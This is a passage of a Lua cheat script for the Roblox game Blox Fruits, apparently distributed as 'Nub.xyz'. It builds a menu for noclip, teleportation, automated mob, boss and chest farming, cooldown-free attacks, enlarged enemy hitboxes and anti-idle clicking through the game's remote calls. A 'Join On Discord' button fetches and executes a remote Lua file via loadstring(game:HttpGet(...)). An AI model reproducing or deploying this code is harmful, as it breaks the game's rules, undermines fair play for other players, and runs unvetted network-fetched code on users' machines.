                if _G.AutoAdvanceDungeon or _G.AutoDoughtBoss or _G.Auto_DungeonMobAura or _G.AutoFarmChest or _G.AutoFarmBossHallow or _G.AutoFarmSwanGlasses or _G.AutoLongSword or _G.AutoBlackSpikeycoat or _G.AutoElectricClaw or _G.AutoFarmGunMastery or _G.AutoHolyTorch or _G.AutoLawRaid or _G.AutoFarmBoss or _G.AutoTwinHooks or _G.AutoOpenSwanDoor or _G.AutoDragon_Trident or _G.AutoSaber or _G.AutoFarmFruitMastery or _G.AutoFarmGunMastery or _G.TeleportIsland or _G.Auto_EvoRace or _G.AutoFarmAllMsBypassType or _G.AutoObservationv2 or _G.AutoMusketeerHat or _G.AutoEctoplasm or _G.AutoRengoku or _G.Auto_Rainbow_Haki or _G.AutoObservation or _G.AutoDarkDagger or _G.Safe_Mode or _G.MasteryFruit or _G.AutoBudySword or _G.AutoOderSword or _G.AutoBounty or _G.AutoAllBoss or _G.Auto_Bounty or _G.AutoSharkman or _G.Auto_Mastery_Fruit or _G.Auto_Mastery_Gun or _G.Auto_Dungeon or _G.Auto_Cavender or _G.Auto_Pole or _G.Auto_Kill_Ply or _G.Auto_Factory or _G.AutoSecondSea or _G.TeleportPly or _G.AutoBartilo or _G.Auto_DarkBoss or _G.GrabChest or _G.AutoFarmBounty or _G.Holy_Torch or _G.AutoFarm or _G.Clip or FarmBoss or _G.AutoElitehunter or _G.AutoThirdSea or _G.Auto_Bone or _G.AutoFarmCandy == true then
                    if not game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip") then
                        local Noclip = Instance.new("BodyVelocity")
                        Noclip.Name = "BodyClip"
                        Noclip.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
                        Noclip.MaxForce = Vector3.new(100000,100000,100000)
                        Noclip.Velocity = Vector3.new(0,0,0)
                    end
                end
            end
        end)
    end)
    
    spawn(function()
        pcall(function()
            game:GetService("RunService").Stepped:Connect(function()
                if _G.AutoAdvanceDungeon or _G.AutoDoughtBoss or _G.Auto_DungeonMobAura or _G.AutoFarmChest or _G.AutoFarmBossHallow or _G.AutoFarmSwanGlasses or _G.AutoLongSword or _G.AutoBlackSpikeycoat or _G.AutoElectricClaw or _G.AutoFarmGunMastery or _G.AutoHolyTorch or _G.AutoLawRaid or _G.AutoFarmBoss or _G.AutoTwinHooks or _G.AutoOpenSwanDoor or _G.AutoDragon_Trident or _G.AutoSaber or _G.NOCLIP or _G.AutoFarmFruitMastery or _G.AutoFarmGunMastery or _G.TeleportIsland or _G.Auto_EvoRace or _G.AutoFarmAllMsBypassType or _G.AutoObservationv2 or _G.AutoMusketeerHat or _G.AutoEctoplasm or _G.AutoRengoku or _G.Auto_Rainbow_Haki or _G.AutoObservation or _G.AutoDarkDagger or _G.Safe_Mode or _G.MasteryFruit or _G.AutoBudySword or _G.AutoOderSword or _G.AutoBounty or _G.AutoAllBoss or _G.Auto_Bounty or _G.AutoSharkman or _G.Auto_Mastery_Fruit or _G.Auto_Mastery_Gun or _G.Auto_Dungeon or _G.Auto_Cavender or _G.Auto_Pole or _G.Auto_Kill_Ply or _G.Auto_Factory or _G.AutoSecondSea or _G.TeleportPly or _G.AutoBartilo or _G.Auto_DarkBoss or _G.GrabChest or _G.AutoFarmBounty or _G.Holy_Torch or _G.AutoFarm or _G.Clip or _G.AutoElitehunter or _G.AutoThirdSea or _G.Auto_Bone or _G.AutoFarmCandy == true then
                    for _, v in pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants()) do
                        if v:IsA("BasePart") then
                            v.CanCollide = false    
                        end
                    end
                end
            end)
        end)
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoDoughtBoss or _G.Auto_DungeonMobAura or _G.AutoFarmChest or _G.AutoFarmBossHallow or _G.AutoFarmSwanGlasses or _G.AutoLongSword or _G.AutoBlackSpikeycoat or _G.AutoElectricClaw or _G.AutoFarmGunMastery or _G.AutoHolyTorch or _G.AutoLawRaid or _G.AutoFarmBoss or _G.AutoTwinHooks or _G.AutoOpenSwanDoor or _G.AutoDragon_Trident or _G.AutoSaber or _G.NOCLIP or _G.AutoFarmFruitMastery or _G.AutoFarmGunMastery or _G.TeleportIsland or _G.Auto_EvoRace or _G.AutoFarmAllMsBypassType or _G.AutoObservationv2 or _G.AutoMusketeerHat or _G.AutoEctoplasm or _G.AutoRengoku or _G.Auto_Rainbow_Haki or _G.AutoObservation or _G.AutoDarkDagger or _G.Safe_Mode or _G.MasteryFruit or _G.AutoBudySword or _G.AutoOderSword or _G.AutoAllBoss or _G.Auto_Bounty or _G.AutoSharkman or _G.Auto_Mastery_Fruit or _G.Auto_Mastery_Gun or _G.Auto_Dungeon or _G.Auto_Cavender or _G.Auto_Pole or _G.Auto_Kill_Ply or _G.Auto_Factory or _G.AutoSecondSea or _G.TeleportPly or _G.AutoBartilo or _G.Auto_DarkBoss or _G.AutoFarm or _G.Clip or _G.AutoElitehunter or _G.AutoThirdSea or _G.Auto_Bone or _G.AutoFarmCandy == true then
                pcall(function()
                    game:GetService("ReplicatedStorage").Remotes.CommE:FireServer("Ken",true)
                end)
            end    
        end
    end)
    
    function StopTween(target)
        if not target then
            _G.StopTween = true
            wait()
            topos(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame)
            wait()
            if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip") then
                game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip"):Destroy()
            end
            _G.StopTween = false
            _G.Clip = false
        end
    end
    
    spawn(function()
        pcall(function()
            while wait() do
                for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do  
                    if v:IsA("Tool") then
                        if v:FindFirstChild("RemoteFunctionShoot") then 
                            SelectWeaponGun = v.Name
                        end
                    end
                end
            end
        end)
    end)
    
    game:GetService("Players").LocalPlayer.Idled:connect(function()
        game:GetService("VirtualUser"):Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
        wait(1)
        game:GetService("VirtualUser"):Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
    end)


repeat wait() until game:IsLoaded()
xwd = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
Gamename = xwd.Name
local games = {
   [game.PlaceId] = {
      Title = "Blox Fruits",
      Icons = "rbxassetid://7607745682",
      Welcome = function()
            return tostring(
              " "
                   ..

                        Gamename.. "!" .. " \Nub.xyz Loadded"  .."\n Welcome "..game.Players.LocalPlayer.DisplayName
            )
      end
   }
}


if games[game.PlaceId] then
   if games[game.PlaceId].Title == "Blox Fruits" then
      local function notify(types, ...)
            if types == "Notify" then
               require(game.ReplicatedStorage.Notification).new(...):Display()
            end
      end
      notify("Notify", games[game.PlaceId].Welcome())
   end
end

 local function Text( ...)
         --   if types == "Notify" then
               require(game.ReplicatedStorage.Notification).new(...):Display()
        --    end
      end
    
    local placeId = game.PlaceId
	     OldWorld = false
       newworld = false
	     sea3 = false
       if placeId == 2753915549 then
          OldWorld = true
       elseif placeId == 4442272183 then
          newworld = true
      
	        elseif placeId == 7449423635 then
          sea3 = true
       end

Check_Setting(_G.Check_Save_Setting)
Get_Setting(_G.Check_Save_Setting)

if _G.Setting_table.Save_Member then
	getgenv()['MyName'] = game.Players.LocalPlayer.Name
	print("Save Member")
elseif _G.Setting_table.Save_All_Member then
	getgenv()['MyName'] = "AllMember"
	print("Save All Member")
else
	getgenv()['MyName'] = "None"
	_G.Dis = true
end

local Library = Update:Window("Nub","",Enum.KeyCode.RightControl);
main = Library:Tab("Home",7072717697)
Main = Library:Tab("AutoFarm",7072706351)
iain = Library:Tab("Auto",7072706318)
Ss = Library:Tab("Auto Stats",7040410130)
P = Library:Tab("Players",7072724538)
T = Library:Tab("Teleport",6035190846)
R = Library:Tab("Raid",7044284832)
S = Library:Tab("Buy Item",7072715646)
D = Library:Tab("Devil Fruit",4483362748)
Misc = Library:Tab("Misc",7044233235)
set = Library:Tab("Settings",6034509993)
local logs = game:HttpGet("https://raw.githubusercontent.com/accountnop/magmaisgay/main/logs")

main:Label("Welcome "..game.Players.LocalPlayer.DisplayName.. " To Nub.xyz")
main:Label("By Teres")
main:Label("Ui Lib:???")
--main:Label("Server Time:")
--local hours = main:Label(""..os.date("%H")..":"..os.date("%M")..":"..os.date("%S"))
Time = main:Label("servertime")

function UpdateTime()
    local GameTime = math.floor(workspace.DistributedGameTime+0.5)
    local Hour = math.floor(GameTime/(60^2))%24
    local Minute = math.floor(GameTime/(60^1))%60
    local Second = math.floor(GameTime/(60^0))%60
    Time:Set("Hour : "..Hour.." Minute : "..Minute.." Second : "..Second)
end

spawn(function()
    while true do
        UpdateTime()
        wait()
    end
end)

Client = main:Label("FPS Player")

function UpdateClient()
    local Ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()
    local Fps = workspace:GetRealPhysicsFPS()
    Client:Set("Fps : "..Fps.." Ping : "..Ping)
end

spawn(function()
    while true do wait(.1)
        UpdateClient()
    end
end)
main:Line()
main:Label("Logs:\n \n")
main:Label("\n"..logs.."\n ")

main:Line()
main:Button("Join On Discord (New!)",function()
getgenv().InviteCode = "a4qMkuHA"

--Example getgenv().InviteCode = "pATHmbedmh"

loadstring(game:HttpGet("https://raw.githubusercontent.com/LuaQLeak/Scripts/main/Discord-Auto-Join.lua"))()

end)
main:Seperator("Servers")   

main:Button("Copy You JobId",function()
    setclipboard(tostring(game.JobId))
    end)
    _G.Job = nil
	main:Textbox("Join On You Friend","Type The JobId",function(t)
        _G.Job = t
        end)
        main:Button("Join On The Server",function()
            game:GetService("TeleportService"):TeleportToPlaceInstance(game.placeId, _G.Job, game.Players.LocalPlayer)
            end)


            WeaponList = {}
    
    for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do  
        if v:IsA("Tool") then
            table.insert(WeaponList ,v.Name)
        end
    end
      for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do  
              if v:IsA("Tool") then
                 table.insert(WeaponList ,v.Name)
              end
           end
    
    local SelectWeapona = Main:Dropdown("Select Weapon",WeaponList,function(value)
        _G.SelectWeapon = value
		_G.Setting_table.Weapon = value
		Update_Setting(getgenv()['MyName'])
    end)
    
    Main:Button("Refresh Weapon",function()
        SelectWeapona:Clear()
        for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do 
            SelectWeapona:Add(v.Name)
        end
     for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do  
              if v:IsA("Tool") then
				     SelectWeapona:Add(v.Name)
			  end
		 end
    end)
    
    --Main:Seperator("Auto Farm")
	Main:Line()

	MIo = {
	"Super Fast",
	"Fast",
	"Smooth"
}
	    Main:Dropdown("Select FastAttack Delay",MIo,function(vu)
        _G.Setting_table.FastAttack_Mode = vu
	Update_Setting(getgenv()['MyName'])
	if _G.Setting_table.FastAttack_Mode == "Fast" then
		_G.Fast_Delay = 0.1
	elseif _G.Setting_table.FastAttack_Mode == "Smooth" then
		_G.Fast_Delay = 0.3
	elseif _G.Setting_table.FastAttack_Mode == "Super Fast" then
		_G.Fast_Delay = 0
	end
    end)
Main:Toggle("Auto SetSpawn Point",false,function(x)
    _G.Set = x
end)

spawn(function()
   while wait() do
      if _G.Set then
         pcall(function()
         local args = {
         [1] = "SetSpawnPoint"
         }
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
      end)
    end
  end
end)
    --	Main:Line()
     Main:Seperator("Auto Farm")   

Main:Toggle("AutoFarm Level",_G.AutoFarm,function(value)
if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else


        _G.AutoFarm = value
        _G.Seet = value
        _G.M = value
        StopTween(_G.AutoFarm)
			end
    end)
	Main:Toggle("Auto Farm Bone", _G.Setting_table.Farm_Bone,function(vu)
	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else
 Auto_Farm_Bone = vu
	_G.Setting_table.Farm_Bone = vu
	Update_Setting(getgenv()['MyName'])
	StopTween(Auto_Farm_Bone)
			end
    end)

	spawn(function()
	while wait(.5) do
		pcall(function()
			if Auto_Farm_Bone then
				if not Mix_Farm then
					if game.Workspace.Enemies:FindFirstChild("Reborn Skeleton [Lv. 1975]") then
						game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetSpawnPoint")
						for i,v in pairs(game.Workspace.Enemies:GetChildren()) do
							if v.Name == "Reborn Skeleton [Lv. 1975]" and v.Humanoid.Health > 0 then
								if v.Humanoid:FindFirstChild("Animator") then
									v.Humanoid.Animator:Destroy()
								end
								_G.PosMon = v.HumanoidRootPart.CFrame
								StatrMagnet = true
								repeat wait(_G.Fast_Delay)
									EquipWeapon(_G.Setting_table.Weapon)
									TP(v.HumanoidRootPart.CFrame * CFrame.new(0, 30, 1))
									AttackNoCD()
								until v.Humanoid.Health <= 0 or not v.Parent or Mix_Farm or not Auto_Farm_Bone 
								StatrMagnet = false
							end
						end
					elseif game.ReplicatedStorage:FindFirstChild("Reborn Skeleton [Lv. 1975]") then
						TP(game.ReplicatedStorage:FindFirstChild("Reborn Skeleton [Lv. 1975]").HumanoidRootPart.CFrame*CFrame.new(0,30,0))
					else
						for i,v in pairs(game.Workspace.Enemies:GetChildren()) do
							if not string.find(v.Name,"Boss") and v.Humanoid.Health > 0 and (v.HumanoidRootPart.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1000 then
								if v.Humanoid:FindFirstChild("Animator") then
									v.Humanoid.Animator:Destroy()
								end
								_G.PosMon = v.HumanoidRootPart.CFrame
								StatrMagnet = true
								repeat wait(_G.Fast_Delay)
									EquipWeapon(_G.Setting_table.Weapon)
									TP(v.HumanoidRootPart.CFrame * CFrame.new(0, 30, 1))
									AttackNoCD()
								until v.Humanoid.Health <= 0 or not v.Parent or Mix_Farm or not Auto_Farm_Bone
								StatrMagnet = false
							end
						end
					end
				end
			end
		end)
	end
end)
		Main:Toggle("AutoFarm Ectoplasma",_G.AutoEctoplasm ,function(t)
		if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")

else
  _G.AutoEctoplasm = t

        StopTween(_G.AutoEctoplasm)
			end
  
    end)

    spawn(function()
        while wait() do 
            if _G.Auto_Bone and World3 then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Reborn Skeleton [Lv. 1975]") or game:GetService("Workspace").Enemies:FindFirstChild("Living Zombie [Lv. 2000]") or game:GetService("Workspace").Enemies:FindFirstChild("Demonic Soul [Lv. 2025]") or game:GetService("Workspace").Enemies:FindFirstChild("Posessed Mummy [Lv. 2050]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Reborn Skeleton [Lv. 1975]" or v.Name == "Living Zombie [Lv. 2000]" or v.Name == "Demonic Soul [Lv. 2025]" or v.Name == "Posessed Mummy [Lv. 2050]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.Head.CanCollide = false 
                                        StartMagnetBoneMon = true
                                        PosMonBone = v.HumanoidRootPart.CFrame
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                    until not _G.Auto_Farm_Bone or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        StartMagnetBoneMon = false
                        for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do 
                            if v.Name == "Reborn Skeleton [Lv. 1975]" then
                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            elseif v.Name == "Living Zombie [Lv. 2000]" then
                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            elseif v.Name == "Demonic Soul [Lv. 2025]" then
                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            elseif v.Name == "Posessed Mummy [Lv. 2050]" then
                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                            end
                        end
                    end
                end)
            end
        end
    end)

		function Chest_100()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 100 then
			_G.Chest_100 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 100 then
			_G.Chest_100 = v
			return
		end
	end
end
function Chest_500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 500 then
			_G.Chest_500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 500 then
			_G.Chest_500 = v
			return
		end
	end
end
function Chest_1000()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1000 then
			_G.Chest_1000 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1000 then
			_G.Chest_1000 = v
			return
		end
	end
end
function Chest_1500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1500 then
			_G.Chest_1500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1500 then
			_G.Chest_1500 = v
			return
		end
	end
end
function Chest_2000()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 2000 then
			_G.Chest_2000 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 2000 then
			_G.Chest_2000 = v
			return
		end
	end
end
function Chest_2500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 2500 then
			_G.Chest_2500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 2500 then
			_G.Chest_2500 = v
			return
		end
	end
end
function Chest_3500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3500 then
			_G.Chest_3500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3500 then
			_G.Chest_3500 = v
			return
		end
	end
end
function Chest_4500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4500 then
			_G.Chest_4500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4500 then
			_G.Chest_4500 = v
			return
					elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4500 then
			_G.Chest_4500 = v
			return
		end
	end
end
function Chest_5500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 5500 then
			_G.Chest_5500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 5500 then
			_G.Chest_5500 = v
			return
					elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 5500 then
			_G.Chest_5500 = v
			return
		end
	end
end
function Chest_6500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 6500 then
			_G.Chest_6500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 6500 then
			_G.Chest_6500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 6500 then
			_G.Chest_6500 = v
			return
		end
	end
end
function Chest_7500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 7500 then
			_G.Chest_7500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 7500 then
			_G.Chest_7500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 7500 then
			_G.Chest_7500 = v
			return
		end
	end
end
function Chest_9500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 9500 then
			_G.Chest_9500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 9500 then
			_G.Chest_9500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 9500 then
			_G.Chest_9500 = v
			return
		end
	end
end
function Chest_10500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10500 then
			_G.Chest_10500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10500 then
			_G.Chest_10500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10500 then
			_G.Chest_10500 = v
			return
		end
	end
end
function Chest_12500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 12500 then
			_G.Chest_12500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 12500 then
			_G.Chest_12500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 12500 then
			_G.Chest_12500 = v
			return
		end
	end
end
function Chest_15500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 15500 then
			_G.Chest_15500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 15500 then
			_G.Chest_15500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 15500 then
			_G.Chest_15500 = v
			return
		end
	end
end
function Chest_17500()
	for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 17500 then
			_G.Chest_17500 = v
			return
		elseif v.Name == "Chest2" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 17500 then
			_G.Chest_17500 = v
			return
				elseif v.Name == "Chest3" and (v.Position-game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 17500 then
			_G.Chest_17500 = v
			return
		end
	end
end
 
_G.Chest12 = nil
   function autofarmchest()
   for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
		if v.Name == "Chest1"   then
			_G.Chest12 = v
			return
		elseif v.Name == "Chest2" then
			_G.Chest12 = v
			return
						elseif v.Name == "Chest3" then
			_G.Chest12 = v
			return
		
		end
	end
   end
Main:Toggle("AutoFarm Chest",false,function(v)
Text("Beta Function!")        
 getgenv().Chest = v
end)

spawn(function()
        while wait() do
            if getgenv().Chest then
                pcall(function()
			 repeat	
				    _G.Chest_100 = nil
						_G.Chest_500 = nil
						_G.Chest_1000 = nil
						_G.Chest_1500 = nil
						_G.Chest_2000 = nil
						_G.Chest_2500 = nil
						_G.Chest_3500 = nil
						_G.Chest_4500 = nil
						_G.Chest_5500 = nil
						_G.Chest_6500 = nil
						_G.Chest_7500 = nil
						_G.Chest_9500 = nil
						_G.Chest_10500 = nil
						_G.Chest_12500 = nil
						_G.Chest_15500 = nil
						_G.Chest_17500 = nil
						Chest_100()
						Chest_500()
						Chest_1000()
						Chest_1500()
						Chest_2000()
						Chest_2500()
						Chest_3500()
						Chest_4500()
						Chest_5500()
						Chest_6500()
						Chest_7500()
						Chest_9500()
						Chest_10500()
						Chest_12500()
						Chest_15500()
						Chest_17500()
				TP(_G.Chest_100.CFrame)
	TP(_G.Chest_500.CFrame)
TP(_G.Chest_1000.CFrame)
	TP(_G.Chest_1500.CFrame)
	TP(_G.Chest_2000.CFrame)
	TP(_G.Chest_2500.CFrame)
TP(_G.Chest_4500.CFrame)
TP(_G.Chest_6500.CFrame)
		TP(_G.Chest_7500.CFrame)
	TP(_G.Chest_9500.CFrame)
	TP(_G.Chest_10500.CFrame)
	TP(_G.Chest_12500.CFrame)
TP(_G.Chest_15500.CFrame)
	TP(_G.Chest_17500.CFrame)
					until getgenv().Chest == false
			end)
		end
		end
		end)
	
    spawn(function()
        while wait() do
            if _G.AutoFarm then
                pcall(function()
                    local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text
                    if not string.find(QuestTitle, NameMon) then
                        StartMagnet = false
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                    end
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then
                        StartMagnet = false
                        CheckQuest()
                        repeat wait() TP1(CFrameQuest) until (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not _G.AutoFarm
                        if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then
                            wait(0.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StartQuest",NameQuest,LevelQuest)
                            wait(0.5)
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                        CheckQuest()
                        if game:GetService("Workspace").Enemies:FindFirstChild(Mon) then
                            for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then
                                    if v.Name == Mon then
                                        if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then
                                            repeat task.wait()
                                                EquipWeapon(_G.SelectWeapon)
                                                AutoHaki()                                            
                                                PosMon = v.HumanoidRootPart.CFrame
                                                TP1(v.HumanoidRootPart.CFrame * CFrame.new(2,15,3))
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.Head.CanCollide = false
                                                v.HumanoidRootPart.Size = Vector3.new(70,70,70)
                                                StartMagnet = true
                                                game:GetService'VirtualUser':CaptureController()
                                                game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
                                            until not _G.AutoFarm or v.Humanoid.Health <= 0 or not v.Parent or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false
                                        else
                                            StartMagnet = false
                                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
                                        end
                                    end
                                end
                            end
                        else
                            StartMagnet = false
                            if game:GetService("ReplicatedStorage"):FindFirstChild(Mon) then
                                TP1(game:GetService("ReplicatedStorage"):FindFirstChild(Mon).HumanoidRootPart.CFrame * CFrame.new(15,10,2))
                            else
                                if (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 1 then
                                    if PosMon ~= nil then
                                        TP1(PosMon * CFrame.new(2,10,15))
                                    else
                                        if OldPos ~= nil then
                                            TP1(OldPos.Position)
                                        end
                                    end
                                end
                            end
                        end
                    end
                end)
            end
        end
    end)

    
       Main:Seperator("Cake Prince")
    
        local MobKilled = Main:Label("Killed")
    
    spawn(function()
        while wait() do
            pcall(function()
                if string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 88 then
                    MobKilled:Set("Left : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner"),39,41))
                elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("CakePrinceSpawner")) == 87 then
